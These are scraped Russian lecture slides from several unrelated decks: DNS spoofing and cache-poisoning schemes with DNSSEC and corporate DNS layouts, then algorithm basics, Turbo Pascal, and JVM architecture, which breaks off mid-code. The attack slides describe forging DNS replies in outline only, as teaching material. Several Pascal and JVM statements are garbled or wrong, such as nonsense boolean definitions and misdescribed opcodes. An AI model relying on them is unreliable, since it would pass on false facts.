Нарушение навигации (ложный маршрут)
Механизм реализации
Схема работы DNS - протокола
DNS-сервер
Хост А

IP - адрес
ID
Имя компьютера
SourcePort
DNS-запрос
DNS-ответ
ID - генерируется приложением, пославшим запрос,
обычно=1
SourcePort вначале принимает значение 1024
 а потом увеличивается
Пример атаки на IP - сеть:
Атака на DNS
DNS-сервер
Хост А

ID
Имя компьютера
SourcePort
DNS-запрос

Хост А посылает DNS - запрос
Нарушитель должен находиться в одной
подсети с А или в одной подсети с
DNS - сервером

Это позволит ему перехватить пакет
с запросом
Пример атаки на IP - сеть:
Атака на DNS
DNS-сервер
Хост А

DNS-запрос
Нарушитель извлекает из запроса ID и SourcePort

Ложный DNS - ответ:
от имени настоящего DNS - сервера,
но в качестве IP - адреса искомого узла
указывается IP - адрес нарушителя

Результат: хост А имеет неправильное соответствие
между именем компьютера и IP - адресом
Пример атаки на IP - сеть:
Атака на DNS
Хост А

Узел сети

Теперь путь пакета от хоста А до узла сети
будет лежать через хост нарушителя

Пример атаки на IP - сеть:
Атака на DNS
Пример атаки на IP - сеть:
Атака на DNS (вариант 2)
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В разных сегментах с объектом атаки
Используемые уязвимости
Цель
Слабая защищённость протокола DNS -
- недостаток проектирования
Степень риска
Высокая
Нарушение навигации (ложный маршрут)
Механизм реализации
DNS-сервер
Хост А
ID
IP - адрес
DestPort

Ложные DNS - ответы
Перебор
Пример атаки на IP - сеть:
Атака на DNS (вариант 2)
DNS-сервер
Хост А

Ложные DNS - ответы

Пример атаки на IP - сеть:
Атака на DNS (вариант 2)
Хост А

Узел сети

Теперь путь пакета от хоста А до узла сети
будет лежать через хост нарушителя

Пример атаки на IP - сеть:
Атака на DNS (вариант 2)
DNS-сервер
193.233.70.129      ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня

DNS-запрос
DNS-ответ
194.154.77.109     www.infosec.ru
Пример атаки на IP - сеть:
Атака на DNS (вариант 3)
DNS-сервер
193.233.70.129      ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня

DNS-запрос

194.154.77.123     www.infosec.ru
Ложные DNS - ответы
Пример атаки на IP - сеть:
Атака на DNS (вариант 3)
DNS-сервер
193.233.70.129      ertr.mpei.ac.ru
.
.
Кэш - таблица
194.154.77.123     www.infosec.ru
Хост А

194.154.77.123

www.infosec.ru

DNS-запрос
DNS-ответ
Пример атаки на IP - сеть:
Атака на DNS (вариант 3)

DNS в корпоративной сети
Внешний узел
Вторичный
сервер
Внутренний
     узел
Первичный
сервер
Репликация

Рекурсивный запрос

Рекурсивные
запросы

Итеративные
запросы

DNS
DNS

DNS в корпоративной сети
Доступ узлов корпоративной сети к полной
информации о внутренних именах
Доступ отдельных узлов корпоративной сети
к глобальному пространству имён Internet
Доступ внешних узлов к минимально необходимой
информации о внутренних именах

Двухсерверная конфигурация
Внешний узел
Вторичный
сервер
Внутренний
     узел
Первичный
сервер
(минимальная
версия)
Репликация

Рекурсивный запрос

Рекурсивный
запрос
Итеративные
запросы

Межсетевой
экран

Первичный
сервер
(полная
версия)

DNS
DNS
DNS

Трехсерверная конфигурация
Внешний узел
Вторичный
сервер
(минимальная версия)
Внутренний
узел (с Internet)
Первичный
сервер
(минимальная
версия)
Репликация

Рекурсивный запрос

Рекурсивный
запрос
Итеративные
запросы

Межсетевой
экран

Первичный
сервер
(полная
версия+корень)

DNS
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)

Внутренний
узел (без Internet)

Трёхсерверная конфигурация
Первичный
сервер
(минимальная
версия)
Межсетевой
экран
Первичный
сервер
(полная
версия)
+корень
DNS
DNS
DNS
Вторичный
сервер
(полная
версия)

Internet

Протокол DNSSec
Механизм распределения открытых ключей
Целостность и аутентичность информации DNS
Аутентификация транзакции
Новые записи Resource Record
main.sale.company.com.      IN   A    100.0.0.120

sale.company.com.      IN     NS     ns.sale.company.com

sale.company.com.      IN     KEY     [ключ]

sale.company.com.      IN     SIG    [подпись]

sale.company.com.      IN     NXT    [домен]

Обычный DNS-запрос
qname=main.sale.company.com
qtype=A
main.sale.company.com       A      100.0.0.120

Владелец
sale.company.com               NS     ns.sale.company.com

Дополнительно
ns.sale.company.com           A       100.0.1.130
Запрос
Ответ
Запрос DNSSec
qname=main.sale.company.com
qtype=A
Вопрос
main.sale.company.com       A      ?
main.sale.company.com       A      100.0.0.120
main.sale.company.com       SIG     [подпись]

Владелец
sale.company.com               NS     ns.sale.company.com
sale.company.com               SIG     [подпись]

Дополнительно
ns.sale.company.com           A       100.0.1.130
ns.sale.company.com           SIG    [подпись]
sale.company.com                KEY   [ключ]
main.sale.company.com       KEY   [ключ]
ns.sale.company.com           KEY   [ключ]
Запрос
Ответ
Практическая работа 19
Просмотр и запись сессий TELNET и FTP при помощи RealSecure
Настройка пользовательских событий для RealSecure
Раздел 2 – Итоги
 Модель OSI.   Архитектура TCP/IP.
 Сетевые 	анализаторы.
 Программа Internet Scanner.
 Межсетевые экраны.
 Протоколы IPSec, SSL, SSH, DNSSec
 Система обнаружения атак RealSecure.
 Cлужбы прикладного уровня.


title: Скачать презентацию или конспект Основные типы алгоритмов. Линейные алгоритмы

extracted_text:
Основные типы алгоритмов. Линейные алгоритмы.
Графическое описание алгоритмов
При графическом описании алгоритм изображается в виде схемы с помощью стандартного набора геометрических фигур.
Ввод, вывод данных с клавиатуры –

Начало и конец алгоритма  -

Вычисления –

Проверка условия  -

Соединение геометрических фигур –

Счетчик -

Основные типы алгоритмов.
Каждую программу, описывающую алгоритм решения той или иной задачи, можно представить себе как последовательность команд, которые необходимо произвести над данными, и некоторых управляющих команд, которые указывают последовательность вычислений в зависимости от полученных результатов.

Алгоритм называется линейным, если он содержит N шагов и все шаги выполняются последовательно друг за другом от начала и до конца. (См.на рис.)
Рассмотрим участки программ, в которых управление вычислением самое простое: после выполнения команды А следует выполнение следующей за ней команды В. Как правило, такие участки программ содержат описания типов данных, операции присваивания, преобразования данных, команды обращения к устройствам и еще ряд других команд.
Первым типом операторов линейного участка программы можно считать операторы описания переменных. Каждая переменная имеет имя, значение и тип. Для простоты можно мыслить себе переменную, как область памяти – сундучок, на крышке которого написано ее имя, в сундучке лежит значение, а сбоку болтается бирка с указанием типа значения, которое может лежать в этом сундучке. В программе имя переменной (например, A, B$, C%) служит для обозначения некоторой величины. Во время выполнения программы в каждый конкретный момент времени величина имеет единственное значение (в сундучке не могут лежать два разных значения, они там просто не поместятся). Сундучок может быть и пустым, т.е. в это время значение переменной еще не определено, но это не значит, что он останется пустым все время, впоследствии ему доверят какое-либо значение.
Если значением переменной является только целое число, то переменная  называется целочисленной. В программе могут быть другие типы переменных, например, вещественные (дробные) и литерные (символьные). В зависимости от типа данных они по-разному представляются в компьютерной системе.

Определение    Алгоритм, в котором вычислительные или другие действия записываются в естественной форме, последовательно, называется линейным.
Задача 1. Вычислить значение функции
Составить алгоритм решения задачи и записать его в виде блок-схемы.
Задача 1. Вычислить значение функции
Составить алгоритм решения задачи и записать его в виде блок-схемы.
Задача 2.

Составь алгоритм нахождения периметра и площади прямоугольника со сторонами а и в.
Задача 3.

Составь алгоритм нахождения скорости пешехода. Путь х км он прошел за 2 часа.
Домашнее задание:
Группа 1:
Выучить основные понятия и определения;

Группа 2:
1) выучить основные понятия и определения;
2) составить блок-схемы решения задач № 1 и № 2.
№ 1. Автомобиль первую часть пути двигался со скоростью 60 км/ч, вторую часть пути со скоростью 85 км/ч. Какое расстояние прошел автомобиль?
№ 2. В магазине купили 2 кг яблок и 1,5 кг апельсинов. Сколько заплатили за всю покупку?


title: Скачать презентацию или конспект Програмирование на языке Паскаль

extracted_text:
Программированиена языке Turbo Pascal
Выход
Программирование на языке Паскаль;
Трансляторы;
Набор символов;

Выход
Содержание:

Тема: Программирование на языке Turbo Pascal

Перевод программ, написанных на языках программирования высокого уровня, к числу которых относиться и язык Turbo Pascal, входящий в состав профессионального пакета разработки программ Borland Pascal with Objects 7.0 перевод на язык машинных кодов, выполняемых компьютером, осуществляется специальными программами, которые называются трансляторами.

Выход
По способу работы трансляторы делятся на компиляторы и интерпретаторы
Трансляторы

Выход
компьютера
Упрощенная модель компилятора

Выход
Прописные и строчные буквы латинского алфавита, а также символ подчеркивания,  который использует наравне с буквами.

Набор символов
A B C D E F G H I J K L  M N O P Q R S T U V W X Y Z
(коды ASCII от 65 до 90)
a b c d e f g h i j k l m n o p q r s t u v w x y z
(коды ASCII от 97 до 122)
_ (код ASCII 95)

Выход
Арабские десятичные цифры.

Специальные символы (в скобках указан код ASCII).

Символ пробела (код ASCII 32).
Управляющие символы (коды ASCII от 0 до 31).
0 1 2 3 4 5 6 7 8 9
(коды ASCII от 48 до 57)

#                (35)
$                 (36)
‘                  (39)
(                 (40)
)                  (41)
*                 (42)
+                (43)
,                  (44)
           (45)
.            (46)
/           (47)
:            (58)
;            (59)
<          (60)
=          (61)
>          (62)

@         (64)
[            (91)
]            (93)
^           (94)
{         (123)
}         (125)

Выход
Содержание:
Выход

Синтаксические диаграммы общей структуры программы на языке Turbo Pascal;
Структура программы;
Синтаксические диаграммы общей структуры программы на языке Turbo Pascal имеют такой вид:
заголовок
программы
предложение
uses

;

блок

.

раздел
описаний
раздел
операторов

программа

блок

Выход
 Структура программы
                           { I. Заголовок программы}
program                       Имя _ Программы;
                     {II. Раздел указания используемых модулей}
uses              Список _ Используемых _ Модулей;
                                 {III. Раздел описаний}
label              Описания _ Меток;
const             Описание _ Констант;
type               Описание _ Типов;
var                 Описание _ Переменных;
procedure
                                    Описание _ Процедур _ и _ Функций
function
exports          Описание _ Экспортируемых _ Имен;
                                   {IV. Раздел операторов (Операторный блок)}
begin
                    Операторы
end.

Выход
Заголовок программы;
Раздел указаний используемых модулей;
Раздел описаний;
Раздел операторов.
Содержание:
Выход
I. Заголовок программы
Program имя _ программы;
{имя программы одно целое слово}
Прежде чем работать с переменными необходимо описать до начало программ. Примеры:

Выход
program   Simple;
program   Print (Output);
program   GetPut (Input, Output);
program   Complex (Input, Output, MyFile);
Примеры:

Выход
II. Раздел указаний используемой модули
Раздел указаний используемых модулей начинается с зарезервированного слова USES.

USES список _ используемых _ моделей;
USES – использование.

Она описывается в случаях, если в программе используются константы, типы, переменные, процедуры или функции, определенные в стандартных модулях Turbo Pascal, кроме модуля System, или в модулях, созданных пользователем. Примеры:
Синтаксис предложения USES имеет следующий вид:

Выход
uses Crt, Graph;
uses Crt, Graph, Mylib, Stack;

Предложение uses в каждой отдельной программе может быть описано только однократно и должно располагаться непосредственно после заголовка программы.
Примеры:

Выход
III. Раздел описаний
Iabel – описание _ меток;
сonst – описание _ констант (постоянная величина);

В=7 – меняться не может
В=В+2 – нельзя изменять значение сonst на протяжении всей программы.

type – описание типов (тип пользовательский, комбинированный и стандартный).
var – описание _ переменных (чисел); (var x, y byte);

Переменные – идентификатор, который может принимать любые значения из диапазона, заданного каким – либо типом.
export – описание _ экспортных имен;
Пример:

Выход
Примеры:

Выход
IV. Раздел операторов (операционный блок)
begin
        Writeln (‘Hello, Word’)
end.
Синтаксис раздела операторов имеет вид:

Выход
Стандартные типы данных;
Группы целых типов;
Группы вещественных типов;
Группы булевских типов;
Операции. Приоритеты операций;
Приоритеты операций (таблица);
Классификация операторов.

Содержание:
Выход
Стандартные типы данных:
группу целых типов (Shorting, Integer, Longint, Byte, Word);
группу вещественных типов (Single, Real, Double, Extended, Comp);
группу булевских типов (Boolean, ByteBool, WordBool, LongBool);
символьный тип (Char);
строковые типы (String, Pchar);
указательный тип (Pointer);
текстовый тип (Text).
Порядковый типСимвольный тип  Целый тип  Булевский тип

Выход
Порядковые типы характеризуются 4-мя
свойствами:
Множество документальных значений;
Любой порядковый номер представляет собой упорядочную последовательность, каждый элемент который имеет свой порядковый номер;
Порядковый номер представляется целым числом 1-ое значение любого порядкого типа имеет порядковый номер 0, следующие значение имеет порядковый номер 1 и т.д. Исключительно составляют порядковые типы: Shortint, Integer, Longint.

Выход
К любому значению порядкового типа можно приметить стандартную функцию SUCC, порядкового номера последнего значения PRED (0)-255, PRED (9)-10.

Если эта функция применяется последнему допустимому значению любого порядкового типа, кроме булевских, то возвращая к порядковым номером первого значение SUCC (255)-0.

Выход
Группа целых типов

Выход
Группы вещественных типов

Выход
Группы булевских типов
Fool – нет чисел больше 0
Try – есть числа меньше 0
Не дает конкретного значения

Выход
Операции. Приоритеты операции.
Операции

                      Унарные           Бинарные.

Примеры.
Примеры.

Выход
Приоритеты операции

Выход
Классификация операций
По характеру выполняемых действий операции можно разделить на следующие группы:
1. Арифметические операции:
унарные: +, -
бинарные: +, -, *, /, div, mod.
2. Операции отношения
=, <>, <, >, <=,>=
3. Булевские (логические) операции
not, and, or, xor
4. Поразрядные логические и сдвиговые операции
not, and, or, xor, shl, shr
5. Строковая операция (конкатенация)
+
6. Операции над множествами
+, -, *, in, <=, >=
7. Операция взятия адреса
@

Выход
Операторы;
Простые операторы;
Структурные операторы;
Условный оператор if;
Количество операторов в ветви;
Операции ввода и вывода на экран с клавиатуры;
Оператор цикла с предусловием while;
Оператор цикла с постусловием repeat;
Содержание:
Выход
Операторы предназначены для описания действий, которые будут выполнены при реализации алгоритма.
Операторы:
Простые операторы;
Структурные операторы;

Выход
Простые операторы – это такие операторы, которые не содержат в себе других операторов.

Простые операторы:
Оператор присваивания (выполнение операторов присваивания приводит к вычислению значения, определяемого выражением, и присваиванию этого значения переменной, идентифицируемой именем, стоящим слева от символа присваивания);

Оператор процедуры (Выполнение оператора процедуры проводит к активизации действий, описанных в ее теле) ;

Оператор перехода – оператор состоит из ключевого слова goto (Выполнение оператора goto приводит к передаче управления на оператор, перед которым стоит указанная в операторе goto метка).
Простые операторы

Выход
Структурные операторы включают в себя другие операторы и управляют последовательностью их выполнения.

В Turbo Pascal структурными операторами являются:
1. составной оператор;
2. условные оператор;
оператор альтернативы if;
оператор выбора case;
3. операторы цикла:
оператор цикла с предусловием while;
оператор цикла с постусловием repeat;
оператор цикла со счетчиком for;
4. оператор для записей with.
Структурные операторы

Выход
Условный оператор if
Оператор if

Неполная форма        Полная форма

Условный оператор if может быть записан в полной и неполной форме. Примеры:

Выход
Неполная форма:

Полная форма:

Примеры:
if Выражение
then Оператор
if Выражение
then Оператор 1
else Оператор 2

Выход
При выполнение условного оператора сначала вычисляется Выражение, результат которого может принимать только булевский тип, а затем, в зависимости от значения результата (True, False), выполняется или оператор 1, стоящий после ключевого слова then (если результат равен  True) или оператор 2, стоящий после ключевого слова else (если результат равен False).
После ключевых слов then и else, может стоять всего лишь один оператор.

Выход

Выход

Выход
Операции ввода и вывода на экран с клавиатуры
Оператор ввода
Readln (х) [,x2, x3, …] – сначала идет имя процедуры Readln, зетам имена переменных, которым будут присвоены значения. Их может быть несколько либо одно. После ввода Readln каждой переменной требует переход на новую строку, иначе часть введенной строки отбрасывается.
Оператор вывода
Writeln ( [‘Текст пояснения ‘,] x1 [, x2, x3, …]) – сначала идет имя процедуры Writeln,зетам текст, имена переменных, арифметическое выражение. Их может быть несколько либо одно имя. Writeln переводит курсор на новую строку в отличии он Write. Арифметическое выражение вычисляется, а затем выводится. При выводе вещественных чисел необходимо формирование, иначе они будут представлены в форме с плавающей запятой. Writeln (real 2:5:2). Здесь переменная real 2, выводиться на экран ограниченная по ширине в 5 символов, а также с 2 знаками после запятой.

Выход
Оператор цикла с предусловием while.

Оператор While является универсальной управляемой конструкцией. С помощью него можно записать любое циклическое действие. Оператор While позволяет многократно выполнять одни и те же действия в зависимости от некоторого условия.

Выход
Оператор цикла с постусловием repeat.

Оператор цикла с постоянным условием, состоит из ключевых слов repeat, после которого замыкает слово until, после которого указывается условие выполнения цикла.

Выход

Выход
Массив;
Три основных типа массива;

Содержание:
Выход
Массив – это структура данных, которая представляет собой однородную, фиксированную по размеру и конфигурации совокупность элементов простой или составной структуры, упорядоченных по номерам. Пример:

Массив

Выход
Пример:
Массив – однотипный [1..10] A – integer.
a: array
a

a [i]
a [3]
Элемент массива характеризуется порядковым номером и конкретного значения

Выход
Три основных типа массива:
1. Одномерный. Иначе его называют вектором. Все данные записываются последовательно друг за другом, каждый элемент имеет только одну координату. Пример:

2. Двухмерный. Это структура имеющих две координаты (строки и столбцы). Пример:

3. Трехмерный. Каждый элемент определяется 3 – мя координатами (ширина, высота, глубина). Пример:

Выход
for I =1 to 10 do
readln (a [i]) - заполнение одномерного массива.

for I =1 to 10 do
write (a [i]:8) - вывод одномерного массива на экран.

1     2     3     4     5     6   . . .   n

Направление изменения индекса
A

A [6] или
A [i] (если i=6)
Пример:
Выход
Если записать в столбик, то writeln –
2 – х мерный массив.
for I = 1 to 10 do
for j = 1 to 2 do
readln (a [I, j]).

Пример:

Выход
Двух мерный массив (матрица)
Матрица – эта главная диагональ, элементы главной диагонали имеют одинаковые индексы.

Пример:
Выход
3 – х мерный массив:
for I = 1 to 10 do
for j = 1 to 2 do
for k = 1 to 3 do
readln (a [I, j, k]).

a [I, j, k] – пространственно напоминает параллелограмм.

Пример:
Выход


title: Скачать презентацию или конспект Виртуальные машины

extracted_text:
Виртуальные машины

2
Виртуальные машины
	Одним из распространенных подходов, применяемых при разработке переносимого программного обеспечения, является использование виртуальных машин.

	Виртуальные машины представляют собой практическую реализацию теоретических абстрактных вычислительных машин (таких как, например, машина Тьюринга или машина Поста)

3
Виртуальные машины
Виртуальная машинасовокупность ресурсов, которые эмулируют поведение реальной вычислительной машины

4
Виртуальные машины
	Концепция виртуальных машин была развита в 1960-е гг. при разработке операционных систем третьего поколения как расширение концепции виртуальной памяти.

	Первоначальной целью разработки виртуальных машин была организация одновременной работы нескольких вычислительных процессов в рамках одной физической системы (т.е. многозадачный и/или многопользовательский режим).

5
Виртуальные машины
	В соответствии с концепцией ВМ, вычислительный процесс полностью определяется содержимым того рабочего пространства (памяти), к которому он имеет доступ.

	При условии, что конкретная ситуация в рабочем пространстве процесса соответствует ожидаемой, процесс не имеет никаких средств для определения того, является ли предоставленный ему ресурс действительно физическим ресурсом этого типа, или же он реализован в результате совместных действий других ресурсов, которые в совокупности приводят к аналогичным изменениям содержимого рабочего пространства процесса.

6
Виртуальные машины
	В виртуальной машине ни один процесс не может монопольно использовать никакой ресурс, и все системные ресурсы потенциально считаются ресурсами совместного использования.

	Использование виртуальных машин обеспечивает изоляцию нескольких процессов и обеспечивает определенный уровень защиты данных.

7
Виртуальные машины
	Начиная с 1970-х гг. виртуальные машины стали использоваться при разработке трансляторов языков программирования.

	При таком подходе исходный язык транслируется в коды некоторой специально разработанной вычислительной машины, которая не обязательно существует.

	Затем для каждой целевой платформы пишется интерпретатор виртуальной машины.

Без виртуальной машины
Машина 1
8
Виртуальные машины

Транслятор 1

Машина 2
Транслятор 2

Машина 3
Транслятор 3

С использованием виртуальной машины
Машина 1
9
Виртуальные машины

Виртуальная машина 1

Машина 2

Машина 3
Транслятор

Виртуальная машина 2

Виртуальная машина 3

10
Виртуальные машины
	Архитектура виртуальной машины обычно проектируется  разработана таким образом, чтобы конструкции исходного языка удобно отображались в систему команд виртуальной машины, но и сама система команд при этом не была бы слишком сложной.

	При выполнении этих условий можно достаточно быстро написать интерпретатор виртуальной машины для требуемой целевой платформы.

11
Виртуальные машины
	Одна из первых широко известных виртуальных машин такого рода была разработана Никлаусом Виртом при написании компилятора Pascal-P.

	Этот компилятор генерировал специальный код, названный P-кодом и представляющий собой последовательность инструкций гипотетической стековой машины.

12
Виртуальные машины
	В настоящее время концепция виртуальных машин приобрела широкую известность благодаря языку Java, компиляторы которого генерируют последовательность команд для виртуальной Java-машины.

13
Виртуальные машины
Архитектура виртуальной машины Java
	Виртуальная машина Java описывается следующими характеристики:
	1. Поддерживаемые типы данных
	2. Регистры
	3. Локальные переменные
	4. Стек операндов
	5. Область метода
	6. Среда выполнения
	7. Куча и сборщик мусора
	8. Система команд
	9. Ограничения виртуальной машины

14
Виртуальные машины
Поддерживаемые типы данных JVM

–	почти все примитивные типы данных Java, за исключением boolean: byte, short, int, long, float, double, char
–	ссылочный тип данных object;
–	адрес возврата returnAdress

	Для примитивных типов данных контроль соответствия типов осуществляется на этапе компиляции, для ссылочных типов – на этапе исполнения.

15
Виртуальные машины
Регистры JVM (32-разрядные)

pcадрес следующей команды, которая будет исполняться виртуальной машиной;
varsадрес области памяти для хранения локальных переменных метода;
optopадрес вершины стека операндов;
frameадрес структуры среды исполнения

16
Виртуальные машины
Локальные переменные

	Локальные переменные метода хранятся в области памяти, начиная с адреса vars.
Для хранения одной переменной отводится 4 байта, значения типа long, double занимают 8 байт (как две переменные).
	Для доступа к переменным указывается смещение от начала области (0, 4, 8, 12 и т.д.)

17
Виртуальные машины
Стек операндов

	Стек операндов используется для передачи параметров методам и получения возвращаемого значения метода, а также для выполнения арифметических действий и хранения их результатов.

	Каждый элемент стека операндов имеет размер 4 байта, значения всех типов хранятся в одной ячейке стека, значения типов long, double – две ячейки стека.

18
Виртуальные машины
Область метода

	Область метода хранит код метода и таблицы символов метода.

19
Виртуальные машины
Среда исполнения

	содержит информацию, которая характеризует:
–	динамическую компоновку объектов и их методов;
–	информацию для возврата из методов;
–	информацию для распространения исключений;

	Среда исполнения может быть дополнена специфической информацией, например, отладочной информацией.

20
Виртуальные машины
	Среда исполнения содержит ссылки на таблицу символов текущего метода.

	Вызовы методов и обращения к полям классов осуществляются с использованием символических ссылок.

	Во время динамической компоновки виртуальная машина переводит эти символические вызовы методов в фактические вызовы методов, загружая классы по мере необходимости.

21
Виртуальные машины
	При нормальном завершении текущего метода управление передается в вызывающий метод.

	Среда выполнения используется для того, чтобы восстановить регистры вызывающего метода.

	Выполнение продолжается в среде исполнения вызывающего метода.

22
Виртуальные машины
	При возникновении исключения осуществляется анализ таблицы исключений, связанной с текущим методом.

	Каждая запись таблицы исключений определяет диапазон программного кода, для которого она действительна; содержит тип и адрес кода для обработки исключения.

	Если в таблице исключений найдена запись, соответствующая возникшему исключению, то виртуальная машина передает управление соответствующему обработчику.

23
Виртуальные машины
	Если запись, соответствующая исключению, не найдена, то результатом текущего метода является исключение.

	Состояние вызывающего метода восстанавливается по среде исполнения, и распространение исключения продолжается, как если бы исключение только что произошло в этом вызывающем методе.

24
Виртуальные машины
Куча и сборщик мусора

	Во время исполнения Java-программы объекты хранятся в динамически распределяемой памяти – куче.

	Периодически осуществляется "сборка мусора" – поиск и уничтожение объектов, не используемых в программе (на которые отсутствуют ссылки).

	Для реализации сборщика мусора используются различные алгоритмы, в зависимости от требований системы.

25
Виртуальные машины
Система команд виртуальной машины

	Инструкция виртуальной машины Java состоит из однобайтового кода операции, определяющего действие, которое будет выполнено, и может сопровождаться дополнительными операндами.

	Число и размер дополнительных операндов определяется кодом операции.
	Если дополнительный операнд содержит более одного байта, то они хранятся в порядке от старшего разряда к младшему.

26
Виртуальные машины
Ограничения виртуальной машины

	Большинство существующих ограничений обусловлены тем, что для представления индексов операндов команд отводится 1-2 байта (8-16 бит).

	Список констант ("пул констант") для каждого класса может содержать максимум 65535 элементов.

	Длина кода метода ограничена 65535 байтами (включая код метода, таблицу исключений, таблицу номеров строк и таблицу локальных переменных).

	Число аргументов в вызове метода ограничено 255.

27
Виртуальные машины
Система команд виртуальной машины Java

	Система команд виртуальной машины Java включает в себя 201 инструкцию. Большинство из них относятся к двум группам:
		– команды работы со стеком;
		– арифметические команды.

	Особенностью системы команд JVM является то, что имеется много схожих инструкций, отличающихся только обрабатываемым типом данных.

28
Виртуальные машины
Команды загрузки констант в стек (15 команд)предназначены для загрузки в стек операндов часто используемых констант (null, -1, 0, 1, …)

типconst_значение

Примеры.
	iconst_0 – загрузить в стек целочисленную константу 0
	dconst_1 – загрузить в стек вещественную константу 0

29
Виртуальные машины
Команды загрузки констант из пула константпредназначены для загрузки в стек значений констант, находящихся в пуле констант. Загрузка выполняется безразлично к фактическому типу значений.

ldc индекс
ldc2 индекс

30
Виртуальные машины
Команды загрузки значений переменных в стек (33 шт.)предназначены для загрузки в стек значений локальных переменных из списка локальных переменных

типload индекс

Примеры.
	iload 5 – загрузить в стек пятую локальную переменную (целочисленную)
	dload 10 – загрузить в стек десятую локальную переменную (вещественную)

31
Виртуальные машины
	Особенности команд загрузки переменных:

1.	Параметры методов хранятся как локальные переменные (с индексами 0, 1, 2, …)

2.	Для часто используемых индексов (0, 1, 2, 3) имеются сокращенные варианты команд, занимающие один байт, например:

		fload_0
		aload_1

32
Виртуальные машины
Команды сохранения значения вершины стека в локальной переменной (33 шт.)извлекают значение из вершины стека операндов и сохраняют их в списке локальных переменных

типstore индекс

Примеры.
	istore 5 – сохранить вершину стека в пятой локальной переменной (целочисленной)
	dstore 10 – сохранить вершину стека в десятой локальной переменной (вещественной)

33
Виртуальные машины
	Особенности команд сохранения переменных:

	Для часто используемых индексов (0, 1, 2, 3) имеются сокращенные варианты команд, занимающие один байт, например:

		fstore_0
		astore_1

34
Виртуальные машины
Прочие команды работы со стеком (9 шт.)

	К этой группе относятся команды, которые удаляют (pop, pop2), дублируют (dup, dup2), меняют местами верхние элементы стека операндов (swap), а также выполняют другие, более сложные манипуляции со стеком.

35
Виртуальные машины
Арифметические команды (24 шт.)
	Все арифметические команды извлекают из стека два операнда, выполняют арифметическое действие и в стек заносят получившийся результат.

типдействие
Примеры.
	iadd – сложение целых чисел
	lsub – вычитание длинных целых чисел
	fmul – умножение дробных чисел (одинарной точности)
	ddiv – деление дробных чисел (двойной точности)
	irem – остаток от деления целых чисел
	fneg – изменение знака дробного числа

36
Виртуальные машины
Логические команды (12 шт.)
	Логические команды выполняют действия с целыми (длинными целыми) числами: арифметический сдвиг, "и", "или", "исключающее или"

типдействие
Примеры.
	iand – логическое "и" с двумя целыми числами
	lor – логическое "или" с двумя длинными целыми числами

	Логические команды также используются для вычисления истинности булевских выражений.

37
Виртуальные машины
Команды преобразования типа (15 шт.)
	Используются для преобразования значений базовых типов

тип2тип
Примеры.
	i2f – преобразование целого числа в дробное (одинарной точности)
	d2f – преобразование дробного числа (двойной точности) в дробное число (одинарной точности)

	В некоторых случаях требуется прибегнуть к цепочке преобразований, например: d2i i2s (double  short)

38
Виртуальные машины
Команды для работы с массивами
	Используются:
–	для создания массивов требуемого типа;
–	для вычисления длины существующего массива;
–	для загрузки элемента массива в стек;
–	для сохранения вершины стека в элементе массива

Примеры.
	newarray T_INT – создание целочисленного массива
	iaload – загрузка целого числа из массива в стек
	iastore – сохранение целого числа в массиве

	При обращении к элементам массива в стек должен быть загружен его индекс

39
Виртуальные машины
Команды передачи управления
	Используются:
–	для выполнения условного перехода;
–	для выполнения безусловного перехода (goto);
–	для организации выбора (switch);
–	для вызова и возврата из подпрограмм;
–	для вызова и возврата из методов

	Команды условного и безусловного переходов используются для организации базовых алгоритмических структур (ветвление, повторение).

40
Виртуальные машины
Команды условного перехода (вариант 1, 8 шт.)

ifусловие адрес

	Извлекается значение из вершины стека. Если условие истинно, осуществляется переход по указанному адресу, например:
		ifeq – переход, если значение равно 0
		ifgt – переход, если значение больше 0

41
Виртуальные машины
Команды условного перехода (вариант 2, 8 шт.)

if_типcmpусловие адрес

	Из стека извлекаются два значения и сравниваются между собой. Если условие истинно, осуществляется переход по указанному адресу, например:
		if_icmpeq – переход, если значения равны
		if_icmpne – переход, если значения не равны

42
Виртуальные машины
Команды вызова методоввыполнение команд связано не только с передачей управления, но и с анализом разного рода таблиц.

invokevirtual – вызывает (виртуальный) метод на основе анализа информации времени выполнения;
invokenonvirtual – осуществляет вызов на основе информации времени компиляции (например, вызов метода родительского класса);
invokestatic – вызывает статический метод класса;
invokeinterface – вызывает метод, предоставленный интерфейсом.

43
Виртуальные машины
Команды манипулирования с полями объектов команды позволяют установить/прочитать обычное/статическое поле объекта:

			getfield	putfield

			getstatic	putstatic

Прочие объектные операциисоздать объект, проверить тип объекта

44
Виртуальные машины
Команда возбуждения исключительной ситуацииathrow – позволяет выбросить исключительную ситуацию.

Команды синхронизациииспользуются для организации работы параллельных процессов (войти в критическую секцию, выйти из него).

45
Виртуальные машины
Реализация арифметических операций

	Машинный код, генерируемый компилятором Java, позволяет вычислять значения арифметических выражений на основе ПОЛИЗ.

46
Виртуальные машины
Пример. Вычисление выражения S = a * b / 2

ПОЛИЗ выражения:  a b * 2 /

Алгоритм вычисления по ПОЛИЗ:
	1. Загрузить в стек значение переменной a
	2. Загрузить в стек значение переменной b
	3. Выполнить умножение
	4. Загрузить в стек константу 2
	5. Выполнить деление
	6. Сохранить результат

47
Виртуальные машины
На языке Java:
		float a,b,S;
		S = a * b / 2;

Машинный код JVM:
fload_1	  // загрузить в стек значение первой локальной переменной
fload_2	  // загрузить в стек вторую локальную переменную
fmul	 // выполнить умножение
fconst_2 // загрузить в стек константу 2
fdiv	   // выполнить деление
fstore_3 // результат загрузить в третью локальную переменную

48
Виртуальные машины
Пример 1. Реализация оператора ветвления

if (выражение) оператор_1; else оператор_2;

Машинный код:
			вычислить выражение
			ifne оператор_2
оператор_1: …
			…
			goto конец
оператор_2: …
			…
конец:

49
Виртуальные машины
Пример 2. Реализация оператора повторения

while (выражение) оператор;

Машинный код:

цикл:		вычислить выражение
			ifne конец
			оператор
			goto цикл
конец:

50
Виртуальные машины
Пример 3. Реализация оператора повторения

do оператор; while (выражение);

Машинный код:

цикл:		оператор
			вычислить выражение
			ifne цикл
конец:

51
Виртуальные машины
	Алгоритм объектно-ориентированной реализации стековой виртуальной машины

	Использование объектно-ориентированного подхода позволяет значительно упростить процесс реализации стековой виртуальной машины.

52
Виртуальные машины
	Основные классы, используемые при реализации стековой ВМ

StackVMстековая виртуальная машина
VariableStorageхранилище переменных
Instructionбазовый класс для команд виртуальной машины

53
Виртуальные машины
	Класс StackVM

	public class StackVM {

		private VariableStorage storage;
